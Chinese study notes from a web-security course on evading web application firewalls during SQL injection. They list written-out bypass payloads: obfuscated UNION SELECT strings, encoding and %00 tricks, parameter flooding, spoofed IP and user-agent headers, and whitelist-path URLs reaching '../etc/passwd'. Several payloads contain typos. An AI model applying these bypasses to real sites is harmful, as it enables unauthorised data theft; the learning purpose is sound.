小迪安全学习笔记--第19天web漏洞-深入WAF注入绕过

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Pa9load,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用。
小迪安全学习笔记--第19天web漏洞-深入WAF注入绕过_第1张图片

应用层

大小写/关键词替换

id=1 UnIoN/**/SeLeCT 1,user()

Hex() bin() 等价于ascii()

Sleep() 等价于benchmark()

Mid() substring() 等价于substr()

@@user() 等价于User()

@@version 等价于version()

各种编码

大小写 URL hex %0A等等

注释的使用

// – --+ # /**/ + : %00 /!**/

再次循环

union==uunionnion

等价替换

user()=@@user() and& or=| ascii=hex等

参数污染

?id=1&id=2&id=3

编码解码及加密解密

s->%73->%25%37%33

hex,Unicode,base64等

更改提交方式

GET POST COOKIE等

POST->multipart/form-data

中间件HPP参数污染

数据库特性

小迪安全学习笔记--第19天web漏洞-深入WAF注入绕过_第2张图片
小迪安全学习笔记--第19天web漏洞-深入WAF注入绕过_第3张图片
小迪安全学习笔记--第19天web漏洞-深入WAF注入绕过_第4张图片

逻辑层

1.逻辑问题

(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。

(2)当提交GET、PosT同时请求时,进入PosT逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP和HTTPs同时开放服务,没有做HTTP到HTTPs的强制跳转,导致HTTPs有WAF防护,HTTe没有防护,直接访问HTTP站点绕过防护。

(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致bypass。比如: id=1%00and 1=2 union select1,2,column_name from information_schema .columns

2.性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是c语言写的,而c语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:
?id=1 and (select 1)=(select
0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database ( ) , user(),8 ,9
Ps:0xA*1000指0xA后面"A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里100o只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:
?a0=0&a1=1&. . . …&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_sCHEMA.schemata
备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

3.白名单

方式一:IP白名单

从网络层获取的IP,这种一般的伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。

测试方法:修改http的header来bypass waf

X-forwarded-for

X-remote-IP

X-originating-IP

X-remote-addr

X-Real-ip

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件后缀的请求。

http://10.9.9.201/sql.php?id=1

http://10.9.9.201/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的aspx/.php后面的基本不识别。

方式三: url白名单

为了防止误拦,部分wsf内置默认的白名单列表,如admin / manager/ system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http : //10.9.9.201/sql -php/ a cmin. php ?id=1

http: / /10.9.9.201/ sql.php?a=/manage/&b=…etc/passwd

http://10.9.9.201/…/ …/…/…/ manage/ …/ sql.asp?id=2
waf通过/manage/”进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/ sql.php?s=/manage / &b=…/etc/passwd绕过防御规则。

方式四:爬虫白名单

部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:

1、根据userAgent 2、通过行为来判断
Useragent可以很容易欺痈,我们可以伪装成爬虫尝试绕i过。User Agent switcher (firefox 附加组件),下载地址:
https://addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/

你可能感兴趣的:(安全,前端,web安全)